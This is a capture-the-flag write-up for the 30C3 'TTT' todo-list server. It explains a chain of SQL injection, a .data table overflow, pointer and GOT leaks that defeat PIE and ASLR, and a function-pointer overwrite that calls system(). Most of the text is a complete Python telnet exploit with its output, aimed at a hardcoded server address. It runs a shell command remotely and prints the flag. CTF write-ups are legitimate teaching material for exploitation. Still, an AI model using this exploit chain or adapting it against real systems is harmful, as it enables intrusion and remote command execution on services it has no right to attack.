server: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x61abf52683bfa2cf645da3e96ba84f8cdf4842d2, stripped
$ checksec.sh --file server
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH server
This binary from the awesome and pwn-heavy 30C3 CTF is a todo-list manager with a telnet interface, ELF binary server and MySQL database as a storage backend.
Sample session:
Connection to 88.198.89.199 1234 port [tcp/*] succeeded!
Welcome to TTT (the todo tool)!
If you're new, try help
help
Commands:
help: Print this help screen
register <user> <pass>: register a new user
login <user> <pass>: Login when you have registered already.
login aXs toto
logged in...
help
Commands:
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry
add toto
Entry added.
search toto
Found 1 entries, use 'show <num>' to show them.
show 0
0: toto
We can find the queries used by the search command in the binary:
.rodata:00000000000022E8 00000046 C SELECT content FROM todos WHERE user = %lld AND content LIKE '%%%s%%'
The first query is used to guess the amount of results. The second query is used to fetch the data.
Absolutely no escaping with mysql_real_escape_string() is done in the binary:
.text:0000000000001B80 mov rsi, [rbx]
.text:0000000000001B83 call do_mysql_query
So we can do sql injections like:
Found 1 entries, use 'show <num>' to show them.
show 0
0: 5.5.34-0ubuntu0.13.10.1
This service is running on Ubuntu Saucy 64bit, this will be very useful later when we need to find offsets in the libc.
The result of the first query (SELECT COUNT(*) FROM todos WHERE…) is used to help with memory management. If the amount of results is lower or equal to 10, a fixed table in .data is used. Otherwise some space is allocated on the heap (malloc) and the results are stored there.
.text:0000000000001BA2 xor esi, esi ; endptr
.text:0000000000001BA4 mov edx, 10 ; base
.text:0000000000001BA9 call _strtoll
.text:0000000000001BAE mov rdi, cs:result_table ; ptr
.text:0000000000001BB5 mov r12, rax ; count(*)
.text:0000000000001BB8 test rdi, rdi
.text:0000000000001BBB jz short null_result_table
.text:0000000000001BBD lea rax, fixed_result_table
.text:0000000000001BC4 cmp rdi, rax
.text:0000000000001BC7 jz short null_result_table
.text:0000000000001BC9 call _free
.text:0000000000001BCE
.text:0000000000001BCE null_result_table: ; CODE XREF: do_search+5Bj
.text:0000000000001BCE ; do_search+67j
.text:0000000000001BCE cmp r12, 10 ; count(*)
.text:0000000000001BD2 jg big_result_table
.text:0000000000001BD8 lea rax, fixed_result_table
.text:0000000000001BDF mov cs:result_table, rax
There is room for 10 results of 256 chars in the table in .data. After this table in .data we have some very interesting structure:
– The number of results (used by the show command)
– a table of records that describe how to manage the commands
Using some sql trickery we will control the result of the first query (count) to be 1 while we will actually send more than 10 results: we will overwrite past the fixed_result_table table
0x0e00000000000000 (15) will overwrite num_results
.data:0000000000203160 ; do_search+4Er ...
.data:0000000000203168 fixed_result_table db 0A00h dup(0) ; DATA XREF: do_search+5Do
.data:0000000000203168 ; do_search+78o
.data:0000000000203B68 num_results dd 0 ; DATA XREF: do_show+10r
.data:0000000000203B68 ; do_search+A0w ...
.data:0000000000203B6C align 10h
.data:0000000000203B70 help_flag dq 3 ; DATA XREF: sub_14DE+60o
.data:0000000000203B70 ; do_help+23o
.data:0000000000203B78 ; char *ptr_commands
.data:0000000000203B78 ptr_commands dq offset aHelp ; "help"
.data:0000000000203B80 dq offset aSomethingWentW+18h
.data:0000000000203B88 dq offset do_help
.data:0000000000203B90 dq offset aHelpPrintThisH ; "help: Print this help screen"
...
.data:0000000000203C58 dq offset aLogin ; "login "
.data:0000000000203C60 dq offset asc_2208 ; "^([^ ]+) ([^ ]+)$"
.data:0000000000203C68 dq offset do_login
.data:0000000000203C70 dq offset aLoginUserPassL ; "login <user> <pass>: Login when you hav"...
By overwriting the structure used to describe the help command, we can control the execution flow and call anything in the binary or library (libc)
Small problems here are that:
– The binary has been PIE-compiled (random base for .text segment)
– ASLR is enabled (libc base is random as well)
So we need to leak some pointers first so we can calculate the base for the binary and the libc and compute new offsets.
Let’s focus on this ptr_commands table and notice that for the login structure, the function pointer at 0x203C68 is perfectly aligned with the fixed_result table’s 11 result:
0x203168 (fixed_result_table) + 11 * 256 = 0x203C68
So “show 11” will leak the do_login pointer. We know the do_login function is at offset 0x19d0 in the binary, so the ELF base is going to be:
base = do_login – 0x19d0
Unfortunately we can only leak past the fixed_result_table as the ‘show’ command will not accept a negative index. So we need to find a way to leak the GOT table to calculate the libc base.
The help command to the rescue:
Commands:
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry
help will print a description of the command, this description is referenced inside our ptr_commands table:
.data:0000000000203B80 dq offset aSomethingWentW+18h
.data:0000000000203B88 dq offset do_help ; function pointer
.data:0000000000203B90 dq offset aHelpPrintThisH ; "help: Print this help screen"
If we change offset 0x203b90 (aHelpPrintThisH) to another location, that location will be printf. Obvious candidates are entries in GOT table:
.got.plt:0000000000203050 off_203050 dq offset read ; DATA XREF: _readr
We will leak 2 pointers so we can calculate the distance between and verify that the distance match indeed with Ubuntu Saucy Server x86_64’s libc.
aHelp = base + 0x21dc # "help" string
aHelp_hex = '0x%x' % unpack('<Q', pack('>Q', aHelp))[0]
aSomethingWentW = base + 0x214a # "Something went wrong", useless
aSomethingWentW_hex = '0x%x' % unpack('<Q', pack('>Q', aSomethingWentW))[0]
display_help = base + 0x17A0 # display_help function
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]
got_plt = base + 0x00203000
off_read_plt = got_plt + 0x050
help_txt = off_read_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"
After this sql injection, the help command’s description string will be a pointer to read@plt in the GOT table. Then we can call the help command and decode the pointer from the output.
We now have read()’s location in the libc, we calculate system() location based on the fact that is this Ubuntu Saucy Server x86_64 libc:
system_plt = read_plt – 0x716be0
Next step is to overwrite again with a SQL injection the ‘help’ command structure but this time we overwrite the function pointer: typing “help cat /home/user/flag” will in fact call system(“cat /home/user/flag”).
And we are done.
Full exploit:
import time
from struct import pack, unpack
def show_to_val(tn, num):
tn.write("show "+str(num)+"\n")
raw_data = tn.read_until("\n")[len(str(num)+':')+1:].strip() + "\x00\x00"
return unpack('<Q', raw_data)[0]
HOST = '88.198.89.199' # The remote host
#HOST = '62.4.23.92' # Precise
#HOST = '62.4.19.84' # Raring
#HOST = '62.4.23.88' # Saucy
PORT = 1234
tn = telnetlib.Telnet(HOST, PORT)
print "[*] Login"
tn.read_until("If you're new, try help\n")
tn.write("login aXs toto\n")
tn.read_until("logged in...\n")
#time.sleep(3)
#.data:0000000000203B68 num_results dd 0 ; DATA XREF: do_show+10r
#.data:0000000000203B68 ; do_search+A0w ...
#.data:0000000000203B6C align 10h
#.data:0000000000203B70 help_flag dq 3 ; DATA XREF: sub_14DE+60o
#.data:0000000000203B70 ; display_help+23o
#.data:0000000000203B78 ; char *ptr_commands
#.data:0000000000203B78 ptr_commands dq offset aHelp ; DATA XREF: .text:000000000000144Br
#.data:0000000000203B78 ; sub_14DE+4Ar ...
#.data:0000000000203B78 ; "help"
#.data:0000000000203B80 dq offset aSomethingWentW+18h
#.data:0000000000203B88 dq offset display_help
#.data:0000000000203B90 dq offset aHelpPrintThisH ; "help: Print this help screen"
#0x7fc101a9cb68: 0x0f 0x00 0x00 0x00 0x00 0x00 0x00 0x00 num_results
#0x7fc101a9cb70: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00 help_flags
#0x7fc101a9cb78: 0xdc 0xb1 0x89 0x01 0xc1 0x7f 0x00 0x00 offset aHelp
#0x7fc101a9cb80: 0x62 0xb1 0x89 0x01 0xc1 0x7f 0x00 0x00 offset aSomethingWentW
#0x7fc101a9cb88: 0xa0 0xa7 0x89 0x01 0xc1 0x7f 0x00 0x00 offset display_help
print "\n[*] Prepare for infoleak with SQLi"
query = "search 9'"+ " UNION ALL SELECT 'A'"*10 + " UNION ALL SELECT concat(0x0e00000000000000) -- # \n"
tn.write(query)
tn.read_until("\n")
print "\n[*] Infoleak login function pointer"
do_login = show_to_val(tn, 11)
print "do_login=", hex(do_login)
print "\n[*] Calculate ELF base and pointers"
base = do_login - 0x19d0
print "ELF base=", hex(base)
aHelp = base + 0x21dc # "help" string
aHelp_hex = '0x%x' % unpack('<Q', pack('>Q', aHelp))[0]
print "help string offset=", hex(aHelp)
aSomethingWentW = base + 0x214a # "Something went wrong", useless
aSomethingWentW_hex = '0x%x' % unpack('<Q', pack('>Q', aSomethingWentW))[0]
print "Something went wrong string offset=", hex(aSomethingWentW)
display_help = base + 0x17A0 # display_help function
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]
print "help function offset=", hex(display_help)
got_plt = base + 0x00203000
print "GOT PLT base=", hex(got_plt)
off_read_plt = got_plt + 0x050
print "read@plt base=", hex(off_read_plt)
print "\n[*] Infoleak read@plt"
# We replace the pointer to the help command to the offset we want to leak
help_txt = off_read_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
print "help_txt=", hex(help_txt)
query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"
tn.write(query)
tn.read_until("\n")
s = tn.get_socket()
tn.write("help\n")
s.recv(len("Commands:\n"))
raw = s.recv(6)
tn.read_until("\n")
tn.read_until("\n")
read_plt = unpack('<Q', raw + (8-len(raw))*"\x00")[0]
print "read_plt=", hex(read_plt)
print "\n[*] Infoleak setvbuf@plt"
off_setvbuf_plt = got_plt + 0x040
help_txt = off_setvbuf_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
print "help_txt=", hex(help_txt)
tn.read_until("\n")
tn.read_until("\n")
query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"
tn.write(query)
tn.read_until("\n")
s = tn.get_socket()
tn.write("help\n")
print "help=",repr(s.recv(len("Commands:\n")))
raw = s.recv(6)
tn.read_until("\n")
tn.read_until("\n")
setvbuf_plt = unpack('<Q', raw + (8-len(raw))*"\x00")[0]
print "setvbuf_plt=", hex(setvbuf_plt)
print "\n[*] Calculate distance between read and setvbuf in LIBC to find libc version"
print "- Precise: 0x753e0L"
print "- Raring: 0x7a3b0L"
print "- Saucy: 0x7b010L"
check_plt = read_plt - setvbuf_plt
print "distance PLT=", hex(check_plt)
print "\n[*] Calculate system libc offset"
# Precise
#system_plt = read_plt - 0xa1240
# Saucy
system_plt = read_plt - 0x716be0
print "system libc=", hex(system_plt)
print "\n[*] Overwrite help command pointer to system"
display_help = system_plt
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]
query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"
tn.write(query)
tn.read_until("\n")
tn.read_until("\n")
tn.read_until("\n")
print "\n[*] PWN"
tn.write("help cat /home/user/flag\n")
print tn.read_until("\n")
Output:
[*] Prepare for infoleak with SQLi
[*] Infoleak login function pointer
do_login= 0x7f86fa4d19d0L
[*] Calculate ELF base and pointers
ELF base= 0x7f86fa4d0000L
help string offset= 0x7f86fa4d21dcL
Something went wrong string offset= 0x7f86fa4d214aL
help function offset= 0x7f86fa4d17a0L
GOT PLT base= 0x7f86fa6d3000L
read@plt base= 0x7f86fa6d3050L
[*] Infoleak read@plt
help_txt= 0x7f86fa6d3050L
read_plt= 0x7f86f96bb690L
[*] Infoleak setvbuf@plt
help_txt= 0x7f86fa6d3040L
help= 'Commands:\n'
setvbuf_plt= 0x7f86f9640680L
[*] Calculate distance between read and setvbuf in LIBC to find libc version
- Precise: 0x753e0L
- Raring: 0x7a3b0L
- Saucy: 0x7b010L
distance PLT= 0x7b010L
[*] Calculate system libc offset
system libc= 0x7f86f8fa4ab0L
[*] Overwrite help command pointer to system
[*] PWN
30C3_6627df0c708626cdaa56be9c4474fe61